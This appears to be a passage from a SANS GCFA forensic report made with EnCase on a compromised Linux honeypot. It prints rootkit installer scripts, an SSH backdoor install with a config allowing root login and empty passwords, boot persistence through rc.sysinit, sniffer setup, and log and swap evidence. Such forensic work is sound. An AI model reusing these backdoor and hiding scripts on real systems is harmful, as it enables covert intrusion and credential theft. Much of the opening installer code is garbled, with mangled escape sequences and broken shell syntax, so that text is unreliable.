  echo "NETSTAT ---> failed" >>install.log
fi

echo "$(cl)$[hblk]|$(cl)$[hred]*********** $(cl)$[wht]Installing my port"

  cd nfsd;
  ./nfsd
  sleep 1

  echo "$(cl)$[hblk]|$(cl)$[hred]*********** $(cl)$[wht]Ok, port opened."
  echo "$(cl)$[hred]|$(cl)$[hblk]---$(cl)$[wht]Installing Utilities"
  cp -f clean /usr/bin >>install.log
  echo "$(cl)$[hred]|$(cl)$[hblk]----$(cl)$[wht]Slice2"
  cp -f dos/sl2 /usr/bin
  echo "$(cl)$[hred]|$(cl)$[hblk]----$(cl)$[wht]SliceFoo"
  cp -f dos/foo /usr/bin
  echo "$(cl)$[hred]|$(cl)$[hblk]-----$(cl)$[wht]Stealth"
  cp dos/st /usr/bin
  echo "$(cl)$[hred]|$(cl)$[hblk]------$(cl)$[wht]VadIM"
  cp dos/v /usr/bin
  echo "$(cl)$[hred]|$(cl)$[hblk]-----$(cl)$[wht]Installing sniffer$(cl)$[wht]"
  if [ ! -d /dev/logs ]; then
    echo "$(cl)$[hred]|$(cl)$[hblk]--$(cl)$[wht]Creating Logs DIR"
    mkdir /dev/logs
  else
    echo "$(cl)$[hred]|$(cl)$[hblk]--$(cl)$[wht]The logs dir is already present"
    chattr +iau /dev/logs
    mv -f /dev/logs /dev/dirlogs
    mkdir /dev/logs
  fi
  cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
  touch /dev/logs/tcp.log
  lpd >>/dev/logs/tcp.log &

  echo "$[cl]$[hblk]|$[cl]$[hred] ===== $(cl)$[wht]Setting up cronetab$(cl)$[wht]"

  if [ ! "" ]; then
    /usr/bin/crontab -l
  fi
  echo "$[cl]$[hred]|$(cl)$[hblk]--$(cl)$[wht]CronTab Installed on user -root-$(cl)$"
else
  echo "$\{cl\}$\{hred\}|$\{cl\}|$\{hblk\}|$(\{cl\}|$\{hred\})\{cr\}CronTab is already installed on user -root-$\{cl\}"
  echo $\{cl\}|$\{hred\}/\{usr\}|\{bin\}/\{cr\}ontab -l|$\{cl\}"
  echo $\{cl\}"
  fi
  echo $\{cl\}|$\{hgrn\}Ports Open$\{cl\}|$\{wht\}
if [ -x /\{usr\}|\{sbin\}/lsof ]; then
  /\{usr\}|\{sbin\}/lsof|\{gr\}rep LISTEN
else
  /\{bin\}/\{netstat\} -a|\{grep\} LISTEN|\{grep\} tcp
  fi
  echo $\{cl\}|$\{hgrn\}Checking 4 Other RootKITs$\{cl\}|$\{wht\}
if [ -d /\{dev\}|\{ia\}|\{.inet\} ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{ia\}|\{.inet\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}Ports Open$\{cl\}|$\{wht\}
if [ -f /\{usr\}|\{bin\}/hdparm ]; then
  echo $\{cl\}|$\{hred\}|\{usr\}|\{bin\}/hdparm\{cl\}|$\{wht\}
else
  echo $\{cl\}"
  fi
if [ -d /\{dev\}|\{rd\} ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{rd\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}Ports Open$\{cl\}|$\{wht\}
fi
if [ -d /\{var\}|\{run\}|\{.pid\} ]; then
  echo $\{cl\}|$\{hred\}|\{var\}|\{run\}|\{.pid\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}Checking 4 Other RootKITs$\{cl\}|$\{wht\}
fi
if [ "$\{locate\} alya.cgi 2>/\{dev\}|\{null\}" ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
locate alya.cgi 2>/\{dev\}|\{null\}
else
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
  fi
if [ "$\{locate\} c700 2>/\{dev\}|\{null\}" ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
locate c700 2>/\{dev\}|\{null\}|head -n 5
else
  echo $\{cl\}|$\{hgrn\}|\{dev\}|\{null\}|head -n 5
fi
if [ "$\{locate\} zoot 2>/\{dev\}|\{null\}" ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}|\{dev\}|\{null\}|head -n 5
fi
if [ "$\{locate\} rsha 2>/\{dev\}|\{null\}|\{egrep\} -v \{\"marshal\"\}" ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}|\{dev\}|\{null\}|head -n 5
fi
if [ "$\{locate\} xper 2>/\{dev\}|\{null\}|\{egrep\} -v \{\"fixperm\"\}" ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}|\{dev\}|\{null\}|head -n 5
fi
if [ "$\{locate\} .. 2>/\{dev\}|\{null\}|\{egrep\} -v \{\"1.gz\"\}" ]; then
  echo $\{cl\}|$\{hred\}|\{dev\}|\{null\}\{cl\}"
else
  echo $\{cl\}|$\{hgrn\}|\{dev\}|\{null\}|head -n 40
fi
if [ "$\{locate\} tcp.log 2>/\{dev\}|\{null\}" ]; then
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

```
if [ "$locate .1proc 2>/dev/null" ]; then
  echo "${cl}${hred}Possible TK${cl}${wht}
  echo
  ---------------------------------------------
  locate .1proc 2>/dev/null
  echo
  ---------------------------------------------
fi
if [ "$locate adore 2>/dev/null" ]; then
  echo "${cl}${hred}Possible adore lkm${cl}${wht}
  echo
  ----------------------------------
  locate adore 2>/dev/null
  echo
  ---------------------------------------------
fi
if [ "$locate psybnc 2>/dev/null" ]; then
  echo "grr.. a FucKing PsyBNC still around${cl}${wht}
  echo
  ---------------------------------
  locate psybnc 2>/dev/null|head
  -n 20
  echo
  ---------------------------------------------
fi
if [ "$locate mech 2>/dev/null|grep -v 'listmech'" ]; then
  echo "grr.. a fucking mech still around$cl$wht"
  echo
  ---------------------------------
  locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
  echo
  ---------------------------------------------
fi
if [ "$locate eggdrop 2>/dev/null" ]; then
  echo "grr.. a fucking egg still around$cl$wht"
  echo
  ---------------------------------------------
  locate eggdrop 2>/dev/null|head
  -n 40
  echo
  ---------------------------------------------
fi
if [ "$locate sshdu 2>/dev/null" ]; then
  echo "a sshd u still in sys${cl}${wht}
  echo
  ---------------------------------------------
  locate sshdu 2>/dev/null
  echo
  ---------------------------------------------
fi
if [ "ps -ax|grep "^-"|grep -v grep -v install" ]; then
  echo "Suspect Processes:${cl}${wht}
  echo
  ---------------------------------------------
  ps -ax|grep -v grep -v install
  echo
  ---------------------------------------------
fi
```

```bash
find /dev -type f | grep -v MAKENDEV | grep -v ttyo | grep -v hds | grep -v killer | grep -v logs
```

```bash
/etc/rc.d/init.d/syslog start >>install.log 2>&1
```

```bash
chattr +iau /etc/rc.d/init.d/functions >>install.log 2>&1
chattr +iau /usr/bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find
```

```bash
#chattr +iau /usr/local/sbin/sshd /usr/sbin/sshd /dev/killer >>install.log 2>&1
```

```bash
chattr +iau /usr/local/sbin/sshd /usr/sbin/sshd /dev/killer
```

```bash
Na hai sa ne pisam pe iei-;)
```

```bash
exit 0
```

```
```

© SANS Institute 2004, © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>install.log</code></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\install.log</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>65025494af2c14aeb979024429159fb8</td>
<td>1,024</td>
<td>510</td>
</tr>
<tr>
<td><code>.1addr</code></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1addr</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>11/26/02 09:50:52PM</td>
<td>ad46a56a4269f47eb407ac56d18cd955</td>
<td>1,024</td>
<td>32</td>
</tr>
<tr>
<td><code>.1logz</code></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1logz</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>12/29/02 04:32:10PM</td>
<td>cf49f02b0f5e45625baa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td><code>.clean</code></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\clean</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>----------</td>
<td>-------------</td>
<td>-----------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>93)</td>
<td>du</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/\tmp.'s/du</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>94)</td>
<td>du</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/\tmp.'s/du</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>95)</td>
<td>init.sshd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/\tmp.'s/sshdd/init.sshd</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>96)</td>
<td>killall</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/\tmp.'s/killall</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>97)</td>
<td>killall</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/\tmp.'s/killall</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>f9e2970e3a7682440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
</tr>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>6e60f5c0f79a3526005c11821788f73f</td>
<td>32,768</td>
<td>32,539</td>
</tr>
<tr>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:31:03AM</td>
<td>b33deb29db1aed816e048416b0bd68</td>
<td>1,024</td>
<td>969</td>
</tr>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fadc6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Physical Size 19,456
Logical Size 19,291

Comment: sniffer program

98) Name mpstree
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\mpstree
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:20PM
Last Written 03/24/03 09:36:32PM
Hash Value f592011bbf8f8683f0b24f1eda2b0bf
Physical Size 1,024
Logical Size 443

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -AcdisSu /etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit weit
cat /etc/rc.d/rc.sysinit | grep -v 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -AcdisSu /usr/bin/* >/dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
chmod +x /usr/bin/weit
/usr/bin/weit

99) Name netstat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\netstat
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 8a6c03c19c493cfca31bcee94ce45da
Physical Size 39,936
Logical Size 39,399

Comment:

100) Name nfsdi
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\nfsd\nfsdi
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:21PM
Last Written 12/29/02 04:24:52PM
Hash Value 2aa3b69eab68e3cb3be8f66df8ca03
Physical Size 1,024
Logical Size 884

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Comment: Here is the nfsdi script that is called from the install script to install the ssh backdoor.

```bash
#!/bin/sh
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f /p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f /p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f /sbin/sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f /sbin/sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi
```
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 256

EnCase Computer Analysis Report

© SANS Institute 2004, Author retains full rights.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, as part of GIAC practical repository. Author retains full rights.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
EnCase Computer Analysis Report

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Page 263

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Page 269
EnCase Computer Analysis Report

Full Path  /d > popauth

102) Name  p.shhd
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ltmp/s/p.shhd
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  9217bb76c8b09ee6e5f4a9883b0edbec

echo Your Dir 80, Go There And Type ./kds or portmap To Inst
echo done !
Physical Size 243,712
Logical Size 242,909

103) Name popauth
Description File
Full Path Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ tmp\ .s\popauth
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 9580542311468b426d76ada43f609be9
Physical Size 36,864
Logical Size 36,415

104) Name pstree
Description File
Full Path Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ tmp\ .s\ pstree
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value a2683199c868fcca6c527f95d0ec879
Physical Size 22,528
Logical Size 21,943

105) Name sense
Description File
Full Path Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ tmp\ .s\ sense
Entry Modified 06/29/03 03:22:08PM
Last Accessed 06/29/03 03:25:20PM
Last Written 02/07/02 11:37:18AM
Hash Value 464dc23ac477c43418eb8d3ef087065
Physical Size 4,096
Logical Size 4,060

106) Name sshd_host_key
Description File
Full Path Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ tmp\ .s\sshd\ sshd_host_key
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:11:58PM
Last Written 02/06/02 04:29:25AM
Hash Value ec411d19fb60cd1c45e2e63f9a978315d
Physical Size 1,024
Logical Size 541

107) Name sshd_config
Description File
Full Path Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ tmp\ .s\sshd\ sshd_config
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:11:58PM
Last Written 02/06/02 04:29:25AM
Hash Value 44fd911b3e39b43124e91dd1670658c0
Physical Size 1,024
Logical Size 498

108) Name sshd_config
### Description File

<table>
<thead>
<tr>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s:nfsd\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:21PM</td>
<td>11/26/02 09:35:22PM</td>
<td>ce630951c72096d9ef1d3b12f309b281</td>
<td>1,024</td>
<td>707</td>
</tr>
</tbody>
</table>

#### Comment
Here is the ssh configuration file used by the ssh backdoor program nsfd.

```plaintext
# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
PasswordAuthentication yes
UseLogin no
SyslogFacility DAEMON
RhostsAuthentication no
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes
```

109) Name  ssd-install

<table>
<thead>
<tr>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s:sshd\sshd-install</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>11/26/02 09:40:32PM</td>
<td>2eebbaf9af9e6267d55470c72f33a700</td>
<td>2,048</td>
<td>1,053</td>
</tr>
</tbody>
</table>

#### Comment
sshd-install script

```plaintext
#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
```
```bash
if [-x /sbin/chkconfig ]; then
    /sbin/chkconfig --add sshd >>../install.log 2>&1
else
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/KS5sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/KS5sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/KS5sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/KS5sshd
    fi
    cp -f sshd_config /etc/sshd >>../install.log 2>&1
    cp -f sshd_config /etc >>../install.log 2>&1
    if [ ! -f /etc/ssh/ssh_host_key ]; then
        cp -f /etc/ssh/ssh_host_key /etc/ssh >..../install.log 2>&1
    fi
    if [ ! -f /etc/ssh/ssh_host_key ]; then
        cp -f /etc/ssh/ssh_host_key /etc >..../install.log 2>&1
    fi
    if [ ! -x /usr/sbin/sshd ]; then
        cp -f /usr/sbin/sshd /usr/sbin >>..../install.log 2>&1
        chattr +iau /etc/rc.d/init.d/sshd /usr/sbin/sshd >..../install.log 2>&1
        /etc/rc.d/init.d/sshd restart >..../install.log 2>&1
    fi

110) Name  top
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\top
    Entry Modified  06/29/03 03:25:20PM
    Last Accessed  06/29/03 03:25:20PM
    Last Written  06/29/03 03:25:20PM
    Hash Value  0598ec68468c9e9e17b0d50a3da771a6
    Physical Size  58,368
    Logical Size  57,615

111) Name  vdir
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\vdir
    Entry Modified  06/29/03 03:25:20PM
    Last Accessed  06/29/03 03:25:20PM
    Last Written  06/29/03 03:25:20PM
    Hash Value  8a5f3b286a871bc0cf372d2d5bb3e6cb
    Physical Size  48,128
    Logical Size  47,295

112) Name  xxh_h
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h
    Entry Modified  06/29/03 03:11:59PM
    Last Accessed  06/29/03 03:25:21PM
    Last Written  02/06/02 08:09:53AM
    Hash Value  ddfe24731d459493356d479c2dbe48ad
    Physical Size  1,024
    Logical Size  534

113) Name  xxh_h
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h
```

the functions library is called by the networks script here.

. /etc/init.d/functions

Volume /var
Volume
File System: EXT3  Drive Type: Fixed
Sectors per cluster: 2  Bytes per sector: 512
Total Sectors: 529,137  Total Capacity: 258.4MB
Total Clusters: 264,568  Unallocated:
Free Clusters: 214,544  Allocated: 51,224,576
Volume Name: 11,551,743  Volume Offset:

The following are bookmarks from Volume /var
httpd access log for June 27, 2003

XXX.XXX.XXX.ca -- [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 2015
OOO.OOO.OOO.ca -- [27/Jun/2003:22:01:17 -0600] "GET / HTTP/1.1" 200 2890

httpd access log for June 29, 2003

XXX.XXX.XXX.com -- [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202 -- [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without host (see RFC2616 section 14.23): /
[Sun Jun 29 15:06:42 2003] [error] OpenSSL: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:07:50 2003] [error] OpenSSL: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:20:54 2003] [error] OpenSSL: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:25:14 2003] [error] OpenSSL: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:36:49 2003] [error] [client 193.109.122.5] request failed: error reading the headers

Mail file for root. Showes Sementation faults and cron job problems.

From root Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
  by localhost.localdomain (8.11.6/8.11.6) id h5RA22S06825
  for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.h5RA22S06825@localhost.localdomain>
To: root@localhost.localdomain  
Subject: LogWatch for rh1  


From root  

Date: Sat, 28 Jun 2003 04:02:03 -0600  
From: root <root@localhost.localdomain>  
Message-ID: <200306281002.h5SA22A09057@localhost.localdomain>  
To: root@localhost.localdomain  
Subject: LogWatch for rh1  

Can't locate these modules:  
  0a: 1 Time(s)  

Failed logins from these:  
  userid1/password from 192.168.2.1: 1 time(s)  
  userid1/password from 192.168.2.13: 1 time(s)  

Users logging in through sshd:  
  userid1 logged in from 192.168.2.1 using password: 1 Times(s)  
  root logged in from 192.168.2.121 using password: 2 Times(s)  

From root  

Date: Sat, 28 Jun 2003 04:04:12 -0600  
From: root <root@localhost.localdomain>  
Message-ID: <200306281002.h5SA22A09057@localhost.localdomain>  
To: root@localhost.localdomain  
Subject: LogWatch for rh1  

Can't locate these modules:  
  0a: 1 Time(s)  

Failed logins from these:  
  userid1/password from 192.168.2.1: 1 time(s)  
  userid1/password from 192.168.2.13: 1 time(s)  

Users logging in through sshd:  
  userid1 logged in from 192.168.2.1 using password: 1 Times(s)  
  root logged in from 192.168.2.121 using password: 2 Times(s)  

From root
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

by localhost.localdomain (8.11.6/8.11.6) id h5S2A4a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <200306281002.8562A4a09068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rhl> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5T2A21E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
Message-Id: <200306291002.h5T2A21E10471@localhost.localdomain>
From: root@localhost.localdomain
To: root@localhost.localdomain
Subject: LogWatch for rhl

################## LogWatch 2.6 Begin ####################

----------------- sendmail Begin --------------------------
1336 bytes transferred
2 messages sent
----------------- sendmail End ----------------------------

################## LogWatch End ##########################

From root Sun Jun 29 04:04:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5T2A210482
for root; Sun, 29 Jun 2003 04:02:04 -0600
Date: Sun, 29 Jun 2003 04:02:04 -0600
Message-Id: <200306291002.h5T2A210482@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rhl> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
EnCase Computer Analysis Report

To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>

/usr/lib/sa/sa2: line 14: 27610 Segmentation fault find /var/log/sa \( -name 'sar??' -o -name 'sa??' \) -mtime +7 -exec rm -f {}

From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5UA24x28029
for root; Mon, 30 Jun 2003 04:02:04 -0600
Date: Mon, 30 Jun 2003 04:02:04 -0600
Message-ID: <200306301002.h5UA24x28029@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
/etc/cron.daily/makewhatis.cron:

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root: XX.XXX.XXX.ca: · · · · · · · · · · · · · · MrIdiot


PROMPT_COMMAND
tcpdump.
/root/.bashrc
readline stdin
more syslog.conf.
ls -l

cd /var/log

tail messages
ls -l

vi /etc/syslog.conf.
cd /var/log
tail boot.log
ifconfig -a
cd /usr/
more cron
cd asm
"\033]0;$USER@$\{HOSTNAME\%.*\};$\{PWD/\$HOME/-\}\007": *;$\{PWD/\$HOME/-\}\033\""
.
sys XXX.XXX.49.137.
./samba -d 0 -S 192.168.2.*

cp /etc/syslog.conf kld.conf
chown root:root kld.conf
./samba -d 0 -S XXX.XXX.5.*

Files infected with Jac.8759 virus

Files infected by the Linux.Jac.8759 virus
<table>
<thead>
